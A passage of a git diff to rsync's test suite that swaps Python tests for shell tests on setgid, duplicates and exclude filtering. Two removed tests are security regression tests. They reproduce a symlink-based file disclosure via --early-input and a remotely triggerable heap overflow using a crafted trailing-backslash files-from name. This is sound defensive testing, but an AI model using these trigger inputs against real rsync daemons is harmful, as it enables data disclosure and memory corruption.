u=rwx,g=rw,g+s,o-rwx rw------- rwx------ rwx--S---\n+\n+# Hooray\n+exit 0\ndiff --git a/testsuite/dir-sgid_test.py b/testsuite/dir-sgid_test.py\ndeleted file mode 100644\nindex bfa735a..0000000\n--- a/testsuite/dir-sgid_test.py\n+++ /dev/null\n@@ -1,98 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/dir-sgid.test.\n-#\n-# Check that rsync obeys the setgid bit on the destination's parent\n-# directory when creating a new directory to hold the transferred files,\n-# even though that parent directory is outside the transfer itself.\n-\n-import os\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, check_perms, run_rsync, test_fail, test_skipped,\n-)\n-\n-\n-old_umask = os.umask(0o077)\n-\n-# A secondary group (if the user has one) lets the gid checks below be\n-# discriminating: a setgid parent makes new dirs inherit the PARENT's group,\n-# whereas without setgid they get the process's own group.\n-prim = os.getgid()\n-alt_gid = next((g for g in os.getgroups() if g != prim), None)\n-\n-\n-def testit(dirname, dirperms, file_expected, prog_expected, dir_expected, setgid):\n-    \"\"\"Mirror shell `testit dirname dirperms file_expected prog_expected dir_expected`.\"\"\"\n-    todir = SCRATCHDIR / dirname\n-    todir.mkdir()\n-    # For the setgid case, give the parent a distinct group (when available) so\n-    # the inherited gid differs from the process's; chmod is applied after the\n-    # chown so the setgid bit survives.\n-    if setgid and alt_gid is not None:\n-        os.chown(todir, -1, alt_gid)\n-    # dirperms is either an octal int or the symbolic shell form we translate.\n-    if isinstance(dirperms, int):\n-        os.chmod(todir, dirperms)\n-    else:\n-        subprocess.run(['chmod', dirperms, str(todir)], check=True)\n-\n-    run_rsync('-rvv', str(SCRATCHDIR / 'dir'),\n-              str(SCRATCHDIR / 'file'),\n-              str(SCRATCHDIR / 'program'),\n-              f'{todir}/to/')\n-\n-    check_perms(todir / 'to', dir_expected)\n-    check_perms(todir / 'to' / 'dir', dir_expected)\n-    check_perms(todir / 'to' / 'file', file_expected)\n-    check_perms(todir / 'to' / 'program', prog_expected)\n-\n-    # With setgid set, new dirs must inherit the PARENT's group. We only assert\n-    # the setgid case: it holds on both SysV/Linux and BSD, and (because the\n-    # parent is given a secondary group above) still proves setgid took effect\n-    # on Linux. The no-setgid case is deliberately not checked -- the inherited\n-    # gid is OS-defined there (the process's group on Linux, but always the\n-    # parent's on BSD), so it's not a portable assertion.\n-    if setgid:\n-        expect_gid = os.stat(todir).st_gid\n-        for sub in ('to', 'to/dir'):\n-            g = os.stat(todir / sub).st_gid\n-            if g != expect_gid:\n-                test_fail(f\"{dirname}: {sub} gid is {g}, expected {expect_gid} \"\n-                          \"(setgid inheritance)\")\n-\n-\n-# Cygwin's default dir ACL ruins this test; mimic the shell's getfacl skip.\n-src_dir = SCRATCHDIR / 'dir'\n-src_dir.mkdir()\n-try:\n-    out = subprocess.run(['getfacl', str(src_dir)],\n-                         capture_output=True, text=True)\n-    if 'default:user::' in out.stdout:\n-        test_skipped(\"The default ACL mode interferes with this test\")\n-except FileNotFoundError:\n-    pass  # No getfacl -- proceed.\n-\n-(SCRATCHDIR / 'file').write_text(\"File!\\n\")\n-(SCRATCHDIR / 'program').write_text(\"#!/bin/sh\\n\")\n-\n-try:\n-    subprocess.run(['chmod', 'u=rwx,g=rw,g+s,o=r', str(src_dir)], check=True)\n-except subprocess.CalledProcessError:\n-    test_skipped(\"Can't chmod\")\n-os.chmod(SCRATCHDIR / 'file', 0o664)\n-os.chmod(SCRATCHDIR / 'program', 0o775)\n-\n-if not (os.stat(src_dir).st_mode & 0o2000):\n-    test_skipped(\"The directory setgid bit vanished!\")\n-\n-(src_dir / 'blah').mkdir()\n-if not (os.stat(src_dir / 'blah').st_mode & 0o2000):\n-    test_skipped(\"Your filesystem doesn't use directory setgid; maybe it's BSD.\")\n-\n-testit('setgid-off', 0o700, 'rw-------', 'rwx------', 'rwx------', setgid=False)\n-testit('setgid-on', 'u=rwx,g=rw,g+s,o-rwx', 'rw-------', 'rwx------', 'rwx--S---',\n-       setgid=True)\n-\n-os.umask(old_umask)\ndiff --git a/testsuite/dirs_test.py b/testsuite/dirs_test.py\ndeleted file mode 100644\nindex 3772734..0000000\n--- a/testsuite/dirs_test.py\n+++ /dev/null\n@@ -1,33 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of -d / --dirs: transfer directories without recursing into them.\n-\n--d copies the entries directly named (or directly inside a trailing-slash\n-source): regular files at the top level are copied, and a top-level directory\n-is created as an empty directory -- its contents are NOT transferred. Verify\n-that on a tree that is several levels deep, only the top layer materialises.\n-\"\"\"\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_same, make_tree, rmtree, run_rsync, test_fail,\n-)\n-\n-src = FROMDIR\n-rmtree(src)\n-rmtree(TODIR)\n-make_tree(src, depth=3)   # f0 at root; d1/{f1, d2/{f2, d3/f3}}\n-\n-run_rsync('-d', f'{src}/', f'{TODIR}/')\n-\n-# The top-level file is copied.\n-assert_same(TODIR / 'f0', src / 'f0', label='-d top-level file')\n-# The top-level directory is created...\n-if not (TODIR / 'd1').is_dir():\n-    test_fail(\"-d did not create the top-level directory\")\n-# ...but NOT recursed into.\n-if (TODIR / 'd1' / 'f1').exists():\n-    test_fail(\"-d recursed into a directory (f1 should not exist)\")\n-if list((TODIR / 'd1').iterdir()):\n-    test_fail(\"-d populated the directory; it should be empty\")\n-\n-print(\"dirs: -d copies the top layer without recursing\")\ndiff --git a/testsuite/duplicates.test b/testsuite/duplicates.test\nnew file mode 100644\nindex 0000000..3317e72\n--- /dev/null\n+++ b/testsuite/duplicates.test\n@@ -0,0 +1,44 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2002 by Martin Pool <mbp@samba.org>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test rsync handling of duplicate filenames.\n+\n+# It's quite possible that the user might specify the same source file\n+# more than once on the command line, perhaps through shell variables\n+# or wildcard expansions.  It might cause problems for rsync if the\n+# same name occurred more than once in the file list, because we might\n+# be trying to update the first copy and generate checksums for the\n+# second copy at the same time.  See clean_flist() for the implementation.\n+\n+# We don't need to worry about hardlinks or symlinks.  Because we\n+# always rename-and-replace the new copy, they can't affect us.\n+\n+# This test is not great, because it is a timing-dependent bug.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+# Build some hardlinks\n+\n+mkdir \"$fromdir\"\n+name1=\"$fromdir/name1\"\n+name2=\"$fromdir/name2\"\n+echo \"This is the file\" > \"$name1\"\n+ln -s \"$name1\" \"$name2\" || test_fail \"can't create symlink\"\n+\n+checkit \"$RSYNC -avv '$fromdir/' '$fromdir/' '$fromdir/' '$fromdir/' '$fromdir/' '$fromdir/' '$fromdir/' '$fromdir/' '$fromdir/' '$fromdir/' '$todir/'\" \"$fromdir\" \"$todir\" \\\n+    | tee \"$outfile\"\n+\n+# Make sure each file was only copied once...\n+if [ `grep -c '^name1$' \"$outfile\"` != 1 ]; then\n+    test_fail \"name1 was not copied exactly once\"\n+fi\n+if [ `grep -c '^name2 -> ' \"$outfile\"` != 1 ]; then\n+    test_fail \"name2 was not copied exactly once\"\n+fi\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/duplicates_test.py b/testsuite/duplicates_test.py\ndeleted file mode 100644\nindex 0de06d4..0000000\n--- a/testsuite/duplicates_test.py\n+++ /dev/null\n@@ -1,49 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/duplicates.test.\n-#\n-# The same source directory can be listed many times on the command line\n-# (e.g. through shell globbing). clean_flist() is supposed to dedupe so\n-# each file/link is copied exactly once even with ten identical sources.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    rsync_argv, rsync_ls_lR, test_fail,\n-)\n-\n-\n-# Build a single regular file plus a symlink to it.\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-name1 = FROMDIR / 'name1'\n-name2 = FROMDIR / 'name2'\n-name1.write_text(\"This is the file\\n\")\n-try:\n-    os.symlink(str(name1), name2)\n-except OSError as e:\n-    test_fail(f\"can't create symlink: {e}\")\n-\n-# Drive rsync with the same source ten times. Capture the verbose output to\n-# inspect for duplicate-copy behaviour AND for the dir-listing comparison\n-# that the shell test's checkit was doing alongside.\n-sources = [f'{FROMDIR}/'] * 10\n-proc = subprocess.run(\n-    rsync_argv('-avv', *sources, f'{TODIR}/'),\n-    capture_output=True, text=True,\n-)\n-print(proc.stdout)\n-if proc.returncode != 0:\n-    test_fail(f\"rsync exited {proc.returncode}\\n{proc.stderr}\")\n-\n-name1_count = sum(1 for ln in proc.stdout.splitlines() if ln == 'name1')\n-if name1_count != 1:\n-    test_fail(f\"name1 was not copied exactly once (got {name1_count})\")\n-\n-name2_count = sum(1 for ln in proc.stdout.splitlines() if ln.startswith('name2 -> '))\n-if name2_count != 1:\n-    test_fail(f\"name2 was not copied exactly once (got {name2_count})\")\n-\n-# Cross-check that the destination matches the source.\n-if rsync_ls_lR(FROMDIR) != rsync_ls_lR(TODIR):\n-    test_fail(\"destination listing differs from source after deduplication\")\ndiff --git a/testsuite/early-input-symlink_test.py b/testsuite/early-input-symlink_test.py\ndeleted file mode 100644\nindex 65fb0fb..0000000\n--- a/testsuite/early-input-symlink_test.py\n+++ /dev/null\n@@ -1,148 +0,0 @@\n-#!/usr/bin/env python3\n-# Client --early-input=PATH must not follow planted symlinks at attacker-\n-# controlled path components.\n-#\n-# --early-input is an operator-supplied input file on the CLIENT: rsync reads it\n-# during the in-band daemon handshake (clientserver.c start_inband_exchange) and\n-# forwards its bytes to the daemon, which feeds them to the module's \"early exec\"\n-# hook on stdin. A symlink planted at the path (or a parent component) by another\n-# uid redirects the read to an attacker-chosen file, whose contents are then sent\n-# on the wire to (a possibly malicious) daemon -- a content-disclosure primitive,\n-# the same class as --password-file (item-1 companion).\n-#\n-# Leak signal: the daemon's \"early exec\" hook captures its stdin to a file. The\n-# planted symlink points at a victim file containing a unique marker. If the\n-# client follows the symlink, the marker reaches the daemon and lands in the\n-# capture -> leak observed. With the fix the open is refused (\"failed to open\"),\n-# the handshake aborts before the module request, and the marker never appears.\n-#\n-# Both leaf and parent-component variants are exercised.\n-#\n-# Requires root (to lchown the planted symlink to a non-self uid -- the attacker\n-# simulation); skips otherwise.\n-\n-import os\n-import shlex\n-import pwd\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, make_tree, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12904\n-SANITY_MARKER = \"EARLY_INPUT_SANITY_DELIVERED\"\n-LEAK_MARKER = \"EARLY_INPUT_LEAK_MARKER_DO_NOT_DISCLOSE\"\n-\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-self uid \"\n-                 \"(the attacker simulation)\")\n-\n-NOBODY_UID = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        u = pwd.getpwnam(name).pw_uid\n-        if u != 0 and u != os.geteuid():\n-            NOBODY_UID = u\n-            break\n-    except KeyError:\n-        continue\n-if NOBODY_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=1)\n-\n-base = SCRATCHDIR / 'earlyinput'\n-rmtree(base)\n-base.mkdir()\n-moddir = base / 'mod'\n-moddir.mkdir()\n-\n-# The \"early exec\" hook records its stdin (which carries the forwarded early\n-# input after the NUL-terminated arg list) to a capture file we can inspect.\n-capture = base / 'early_capture'\n-hook = base / 'earlyhook.sh'\n-hook.write_text(f'#!/bin/sh\\ncat > {shlex.quote(str(capture))} 2>/dev/null\\nexit 0\\n')\n-hook.chmod(0o755)\n-\n-conf = write_daemon_conf([\n-    ('mod', {'path': moddir, 'read only': 'yes', 'early exec': str(hook)}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def list_with_early_input(path):\n-    \"\"\"List the module with --early-input=path; return the CompletedProcess.\"\"\"\n-    if capture.exists():\n-        capture.unlink()\n-    return subprocess.run(\n-        rsync_argv('--early-input=' + str(path), f'{url}mod/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)\n-\n-\n-def captured_contains(marker, secs=5):\n-    deadline = time.monotonic() + secs\n-    while time.monotonic() < deadline:\n-        if capture.is_file():\n-            try:\n-                if marker in capture.read_text(errors='replace'):\n-                    return True\n-            except OSError:\n-                pass\n-        time.sleep(0.05)\n-    return False\n-\n-\n-# Sanity: a real (non-symlinked) early-input file is delivered to the hook.\n-real = base / 'real_early'\n-real.write_text(SANITY_MARKER + '\\n')\n-real.chmod(0o600)\n-list_with_early_input(real)\n-if not captured_contains(SANITY_MARKER):\n-    test_fail(\n-        \"sanity check failed: a non-symlinked --early-input file was not \"\n-        \"delivered to the daemon's early-exec hook; the test machinery is \"\n-        f\"broken. stderr/capture: {capture.read_text(errors='replace') if capture.exists() else '(none)'!r}\")\n-\n-# The victim file the attacker wants the client to read and forward.\n-victim = base / 'victim_early'\n-victim.write_text(LEAK_MARKER + '\\n')\n-os.chmod(victim, 0o600)\n-\n-# Leaf plant.\n-leaf_plant = base / 'early_leaf'\n-os.symlink(victim, leaf_plant)\n-os.lchown(leaf_plant, NOBODY_UID, NOBODY_UID)\n-list_with_early_input(leaf_plant)\n-if captured_contains(LEAK_MARKER, secs=2):\n-    test_fail(\n-        f\"--early-input followed a planted LEAF symlink (owned by uid \"\n-        f\"{NOBODY_UID}): the client read {victim} via the symlink and forwarded \"\n-        f\"its contents to the daemon, where the marker {LEAK_MARKER!r} landed in \"\n-        f\"the early-exec hook's stdin. This is a content-disclosure primitive. \"\n-        f\"Fix: refuse planted symlinks at the --early-input open.\")\n-\n-# Parent-component plant.\n-parent_real = base / 'parent_real'\n-parent_real.mkdir()\n-(parent_real / 'victim_in_target').write_text(LEAK_MARKER + '\\n')\n-os.chmod(parent_real / 'victim_in_target', 0o600)\n-parent_plant = base / 'parent_link'\n-os.symlink(parent_real, parent_plant)\n-os.lchown(parent_plant, NOBODY_UID, NOBODY_UID)\n-list_with_early_input(parent_plant / 'victim_in_target')\n-if captured_contains(LEAK_MARKER, secs=2):\n-    test_fail(\n-        f\"--early-input followed a planted PARENT-component symlink (owned by \"\n-        f\"uid {NOBODY_UID}): {parent_plant} -> {parent_real} was traversed and \"\n-        f\"victim_in_target forwarded to the daemon ({LEAK_MARKER!r} in the \"\n-        f\"early-exec capture). This is the /tmp/somedir/-class parent-flip case. \"\n-        f\"Fix: per-component path walk refusing parent symlinks owned by \"\n-        f\"untrusted uids.\")\n-\n-print(\"early-input-symlink: leaf + parent plants refused\")\ndiff --git a/testsuite/exclude-implied-trailing-backslash_test.py b/testsuite/exclude-implied-trailing-backslash_test.py\ndeleted file mode 100644\nindex 32d17ab..0000000\n--- a/testsuite/exclude-implied-trailing-backslash_test.py\n+++ /dev/null\n@@ -1,98 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for a 1-byte heap overflow in add_implied_include()\n-# (exclude.c). Phase 1 classifies a '\\' via !strchr(\"*[?\", cp[1]); strchr()\n-# returns the literal's NUL terminator when cp[1] == '\\0', so a TRAILING\n-# backslash takes neither branch -- it is copied into new_pat but backslash_cnt\n-# is not incremented. Phase 2's recurse/xfer_dirs '/**' rule allocates\n-# arg_len + backslash_cnt + 3 + 1 and doubles every '\\' in new_pat (including the\n-# uncounted trailing one), so the closing '*p = '\\0'' lands one byte past the\n-# heap buffer.\n-#\n-# Reachable on a standard network 'rsync --daemon' (the per-module\n-# parse_arguments() runs with am_server == 0, so trust_sender_args stays 0 and\n-# add_implied_include is active) by a remote unauthenticated client that sends\n-# '-r --files-from=<file>' with a files-from name carrying both an interior and a\n-# trailing backslash ('a\\b\\'): forward_filesfrom_data() feeds it to\n-# add_implied_include() on the daemon. The fix counts the trailing backslash.\n-#\n-# Oracle: pre-fix -> the daemon hits an ASan heap-buffer-overflow report; fixed\n-# -> none. Needs an ASan build + a real TCP daemon, and is skipped otherwise.\n-\n-import glob\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, makepath, require_asan, require_tcp, rsync_argv,\n-    start_rsyncd, test_fail,\n-)\n-\n-PORT = 12954\n-require_tcp(\"a real network rsync daemon is needed (am_server==0 per-module); \"\n-            \"run with --use-tcp\")\n-require_asan(\"the 1-byte heap overflow in add_implied_include is only observable \"\n-            \"under AddressSanitizer\")\n-claim_ports(PORT)\n-\n-base = SCRATCHDIR / 'implied-bslash'\n-mod = base / 'mod'\n-dest = base / 'dest'\n-makepath(mod, dest)\n-(mod / 'file.txt').write_text(\"hello\\n\")\n-\n-# A files-from entry with an interior AND a trailing backslash.\n-ff = base / 'files-from.txt'\n-ff.write_text('a\\\\b\\\\\\n')\n-\n-conf = base / 'implied.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/implied-rsyncd.pid\n-use chroot = no\n-\n-[mod]\n-    path = {mod}\n-    read only = yes\n-\"\"\")\n-\n-asan_log = base / 'implied-asan'\n-for stale in glob.glob(f\"{asan_log}.*\"):\n-    os.unlink(stale)\n-prev = os.environ.get('ASAN_OPTIONS', '')\n-os.environ['ASAN_OPTIONS'] = (\n-    (prev + ':' if prev else '') + f'detect_leaks=0:abort_on_error=1:log_path={asan_log}')\n-\n-start_rsyncd(conf, PORT)\n-\n-# A real client forwards the files-from names to the daemon, which parses each\n-# through add_implied_include() (recurse via -r so the vulnerable '/**' path runs).\n-proc = subprocess.run(\n-    rsync_argv('-r', f'--files-from={ff}', f'rsync://127.0.0.1:{PORT}/mod/',\n-               str(dest) + '/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)\n-\n-\n-def asan_report():\n-    text = ''.join(open(r, errors='replace').read()\n-                   for r in glob.glob(f\"{asan_log}.*\"))\n-    return text if 'AddressSanitizer' in text else (\n-        proc.stdout if 'AddressSanitizer' in (proc.stdout or '') else '')\n-\n-\n-# The overflowing process (the forwarding client child) may flush its report a\n-# beat after the client exits, so poll briefly.\n-import time\n-report = ''\n-for _ in range(30):\n-    report = asan_report()\n-    if report:\n-        break\n-    time.sleep(0.1)\n-\n-if report:\n-    test_fail(\n-        \"add_implied_include() overflowed its heap buffer on a files-from name \"\n-        \"with a trailing backslash -- the trailing '\\\\' was doubled but not \"\n-        \"counted in the allocation:\\n\" + report[:1500])\n-\n-print(\"exclude-implied-trailing-backslash: a trailing backslash in a files-from \"\n-      \"name is counted; no heap overflow in add_implied_include.\")\ndiff --git a/testsuite/exclude-lsh.test b/testsuite/exclude-lsh.test\nnew file mode 120000\nindex 0000000..84bc98a\n--- /dev/null\n+++ b/testsuite/exclude-lsh.test\n@@ -0,0 +1 @@\n+exclude.test\n\\ No newline at end of file\ndiff --git a/testsuite/exclude-lsh_test.py b/testsuite/exclude-lsh_test.py\ndeleted file mode 120000\nindex deb8639..0000000\n--- a/testsuite/exclude-lsh_test.py\n+++ /dev/null\n@@ -1 +0,0 @@\n-exclude_test.py\n\\ No newline at end of file\ndiff --git a/testsuite/exclude.test b/testsuite/exclude.test\nnew file mode 100644\nindex 0000000..56b68b8\n--- /dev/null\n+++ b/testsuite/exclude.test\n@@ -0,0 +1,252 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2003-2022 Wayne Davison\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test rsync handling of exclude/include directives.\n+\n+# Test some of the more obscure wildcard handling of exclude/include\n+# processing.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+CVSIGNORE='*.junk'\n+export CVSIGNORE\n+\n+case $0 in\n+*-lsh.*)\n+    RSYNC_RSH=\"$scratchdir/src/support/lsh.sh\"\n+    export RSYNC_RSH\n+    rpath=\" --rsync-path='$RSYNC'\"\n+    host='lh:'\n+    ;;\n+*)\n+    rpath=''\n+    host=''\n+    ;;\n+esac\n+\n+# Build some files/dirs/links to copy\n+\n+makepath \"$fromdir/foo/down/to/you\"\n+makepath \"$fromdir/foo/sub\"\n+makepath \"$fromdir/bar/down/to/foo/too\"\n+makepath \"$fromdir/bar/down/to/bar/baz\"\n+makepath \"$fromdir/mid/for/foo/and/that/is/who\"\n+makepath \"$fromdir/new/keep/this\"\n+makepath \"$fromdir/new/lose/this\"\n+cat >\"$fromdir/.filt\" <<EOF\n+exclude down\n+: .filt-temp\n+clear\n+- .filt\n+- *.bak\n+- *.old\n+EOF\n+echo filtered-1 >\"$fromdir/foo/file1\"\n+echo removed >\"$fromdir/foo/file2\"\n+echo cvsout >\"$fromdir/foo/file2.old\"\n+cat >\"$fromdir/foo/.filt\" <<EOF\n+include .filt\n+- /file1\n+EOF\n+echo not-filtered-1 >\"$fromdir/foo/sub/file1\"\n+cat >\"$fromdir/bar/.filt\" <<EOF\n+- home-cvs-exclude\n+dir-merge .filt2\n++ to\n+EOF\n+echo cvsout >\"$fromdir/bar/down/to/home-cvs-exclude\"\n+cat >\"$fromdir/bar/down/to/.filt2\" <<EOF\n+- .filt2\n+EOF\n+cat >\"$fromdir/bar/down/to/foo/.filt2\" <<EOF\n++ *.junk\n+EOF\n+echo keeper >\"$fromdir/bar/down/to/foo/file1\"\n+echo cvsout >\"$fromdir/bar/down/to/foo/file1.bak\"\n+echo gone >\"$fromdir/bar/down/to/foo/file3\"\n+echo lost >\"$fromdir/bar/down/to/foo/file4\"\n+echo weird >\"$fromdir/bar/down/to/foo/+ file3\"\n+echo cvsout-but-filtin >\"$fromdir/bar/down/to/foo/file4.junk\"\n+echo smashed >\"$fromdir/bar/down/to/foo/to\"\n+cat >\"$fromdir/bar/down/to/bar/.filt2\" <<EOF\n+- *.deep\n+EOF\n+echo filtout >\"$fromdir/bar/down/to/bar/baz/file5.deep\"\n+# This one should be ineffectual\n+cat >\"$fromdir/mid/.filt2\" <<EOF\n+- extra\n+EOF\n+echo cvsout >\"$fromdir/mid/one-in-one-out\"\n+echo one-in-one-out >\"$fromdir/mid/.cvsignore\"\n+echo cvsin >\"$fromdir/mid/one-for-all\"\n+cat >\"$fromdir/mid/.filt\" <<EOF\n+:C\n+EOF\n+echo cvsin >\"$fromdir/mid/for/one-in-one-out\"\n+echo expunged >\"$fromdir/mid/for/foo/extra\"\n+echo retained >\"$fromdir/mid/for/foo/keep\"\n+\n+# Setup our test exclude/include files.\n+\n+excl=\"$scratchdir/exclude-from\"\n+cat >\"$excl\" <<EOF\n+!\n+# If the second line of these two lines does anything, it's a bug.\n++ **/bar\n+- /bar\n+# This should match against the whole path, not just the name.\n++ foo**too\n+# These should float at the end of the path.\n++ foo/s?b/\n+- foo/*/\n+# Test how /** differs from /***\n+- new/keep/**\n+- new/lose/***\n+# Test some normal excludes.  Competing lines are paired.\n++ t[o]/\n+- to\n++ file4\n+- file[2-9]\n+- /mid/for/foo/extra\n+EOF\n+\n+cat >\"$scratchdir/.cvsignore\" <<EOF\n+home-cvs-exclude\n+EOF\n+\n+# Start with a check of --prune-empty-dirs:\n+$RSYNC -av --rsync-path=\"$RSYNC\" -f -_foo/too/ -f -_foo/down/ -f -_foo/and/ -f -_new/ \"$host$fromdir/\" \"$chkdir/\"\n+checkit \"$RSYNC -av$rpath --prune-empty-dirs '$host$fromdir/' '$todir/'\" \"$chkdir\" \"$todir\"\n+rm -rf \"$todir\"\n+\n+# Add a directory symlink.\n+ln -s too \"$fromdir/bar/down/to/foo/sym\"\n+\n+# Start to prep an --update test dir\n+mkdir \"$scratchdir/up1\" \"$scratchdir/up2\"\n+touch \"$scratchdir/up1/dst-newness\" \"$scratchdir/up2/src-newness\"\n+touch \"$scratchdir/up1/same-newness\" \"$scratchdir/up2/same-newness\"\n+touch \"$scratchdir/up1/extra-src\" \"$scratchdir/up2/extra-dest\"\n+\n+# Create chkdir with what we expect to be excluded.\n+checkit \"$RSYNC -avv$rpath '$host$fromdir/' '$chkdir/'\" \"$fromdir\" \"$chkdir\"\n+sleep 1 # Ensures that the rm commands will tweak the directory times.\n+rm -r \"$chkdir\"/foo/down\n+rm -r \"$chkdir\"/mid/for/foo/and\n+rm -r \"$chkdir\"/new/keep/this\n+rm -r \"$chkdir\"/new/lose\n+rm \"$chkdir\"/foo/file[235-9]\n+rm \"$chkdir\"/bar/down/to/foo/to \"$chkdir\"/bar/down/to/foo/file[235-9]\n+rm \"$chkdir\"/mid/for/foo/extra\n+\n+# Finish prep for the --update test (run last)\n+touch \"$scratchdir/up1/src-newness\" \"$scratchdir/up2/dst-newness\"\n+\n+# Un-tweak the directory times in our first (weak) exclude test (though\n+# it's a good test of the --existing option).\n+$RSYNC -av --rsync-path=\"$RSYNC\" --existing --include='*/' --exclude='*' \"$host$fromdir/\" \"$chkdir/\"\n+\n+# Now, test if rsync excludes the same files.\n+\n+checkit \"$RSYNC -avv$rpath --exclude-from='$excl' \\\n+    --delete-during '$host$fromdir/' '$todir/'\" \"$chkdir\" \"$todir\"\n+\n+# Modify the chk dir by removing cvs-ignored files and then tweaking the dir times.\n+\n+rm \"$chkdir\"/foo/*.old\n+rm \"$chkdir\"/bar/down/to/foo/*.bak\n+rm \"$chkdir\"/bar/down/to/foo/*.junk\n+rm \"$chkdir\"/bar/down/to/home-cvs-exclude\n+rm \"$chkdir\"/mid/one-in-one-out\n+\n+$RSYNC -av --rsync-path=\"$RSYNC\" --existing --filter='exclude,! */' \"$host$fromdir/\" \"$chkdir/\"\n+\n+# Now, test if rsync excludes the same files, this time with --cvs-exclude\n+# and --delete-excluded.\n+\n+# The -C option gets applied in a different order when pushing & pulling, so we instead\n+# add the 2 --cvs-exclude filter rules (\":C\" & \"-C\") via -f to keep the order the same.\n+checkit \"$RSYNC -avv$rpath --filter='merge $excl' -f:C -f-C --delete-excluded \\\n+    --delete-during '$host$fromdir/' '$todir/'\" \"$chkdir\" \"$todir\"\n+\n+# Modify the chk dir for our merge-exclude test and then tweak the dir times.\n+\n+rm \"$chkdir\"/foo/file1\n+rm \"$chkdir\"/bar/down/to/bar/baz/*.deep\n+cp_touch \"$fromdir\"/bar/down/to/foo/*.junk \"$chkdir\"/bar/down/to/foo\n+cp_touch \"$fromdir\"/bar/down/to/foo/to \"$chkdir\"/bar/down/to/foo\n+\n+$RSYNC -av --rsync-path=\"$RSYNC\" --existing -f 'show .filt*' -f 'hide,! */' --del \"$host$fromdir/\" \"$todir/\"\n+\n+echo retained >\"$todir\"/bar/down/to/bar/baz/nodel.deep\n+cp_touch \"$todir\"/bar/down/to/bar/baz/nodel.deep \"$chkdir\"/bar/down/to/bar/baz\n+\n+$RSYNC -av --rsync-path=\"$RSYNC\" --existing --filter='-! */' \"$host$fromdir/\" \"$chkdir/\"\n+\n+# Now, test if rsync excludes the same files, this time with a merge-exclude\n+# file.\n+\n+checkit \"sed '/!/d' '$excl' |\n+    $RSYNC -avv$rpath -f dir-merge_.filt -f merge_- \\\n+    --delete-during '$host$fromdir/' '$todir/'\" \"$chkdir\" \"$todir\"\n+\n+# Remove the files that will be deleted.\n+\n+rm \"$chkdir\"/.filt\n+rm \"$chkdir\"/bar/.filt\n+rm \"$chkdir\"/bar/down/to/.filt2\n+rm \"$chkdir\"/bar/down/to/foo/.filt2\n+rm \"$chkdir\"/bar/down/to/bar/.filt2\n+rm \"$chkdir\"/mid/.filt\n+\n+$RSYNC -av --rsync-path=\"$RSYNC\" --existing --include='*/' --exclude='*' \"$host$fromdir/\" \"$chkdir/\"\n+\n+# Now, try the prior command with --delete-before and some side-specific\n+# rules.\n+\n+checkit \"sed '/!/d' '$excl' |\n+    $RSYNC -avv$rpath -f :s_.filt -f .s_- -f P_nodel.deep \\\n+    --delete-before '$host$fromdir/' '$todir/'\" \"$chkdir\" \"$todir\"\n+\n+# Next, we'll test some rule-restricted filter files.\n+\n+cat >\"$fromdir/bar/down/.excl\" <<EOF\n+file3\n+EOF\n+cat >\"$fromdir/bar/down/to/foo/.excl\" <<EOF\n++ file3\n+*.bak\n+EOF\n+$RSYNC -av --rsync-path=\"$RSYNC\" --del \"$host$fromdir/\" \"$chkdir/\"\n+rm \"$chkdir/bar/down/to/foo/file1.bak\"\n+rm \"$chkdir/bar/down/to/foo/file3\"\n+rm \"$chkdir/bar/down/to/foo/+ file3\"\n+$RSYNC -av --rsync-path=\"$RSYNC\" --existing --filter='-! */' \"$host$fromdir/\" \"$chkdir/\"\n+$RSYNC -av --rsync-path=\"$RSYNC\" --delete-excluded --exclude='*' \"$host$fromdir/\" \"$todir/\"\n+\n+checkit \"$RSYNC -avv$rpath -f dir-merge,-_.excl \\\n+    '$host$fromdir/' '$todir/'\" \"$chkdir\" \"$todir\"\n+\n+relative_opts='--relative --chmod=Du+w --copy-unsafe-links'\n+$RSYNC -av --rsync-path=\"$RSYNC\" $relative_opts \"$host$fromdir/foo\" \"$chkdir/\"\n+rm -rf \"$chkdir$fromdir/foo/down\"\n+$RSYNC -av $relative_opts --existing --filter='-! */' \"$fromdir/foo\" \"$chkdir/\"\n+\n+checkit \"$RSYNC -avv$rpath $relative_opts --exclude='$fromdir/foo/down' \\\n+    '$host$fromdir/foo' '$todir'\" \"$chkdir$fromdir/foo\" \"$todir$fromdir/foo\"\n+\n+# Now we'll test the --update option.\n+checkdiff \"$RSYNC -aiiO$rpath --update --info=skip '$host$scratchdir/up1/' '$scratchdir/up2/'\" \\\n+\t\"grep -v '^\\.d$allspace'\" <<EOT\n+dst-newness is newer\n+>f$all_plus extra-src\n+.f$allspace same-newness\n+>f..t.$dots src-newness\n+EOT\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git 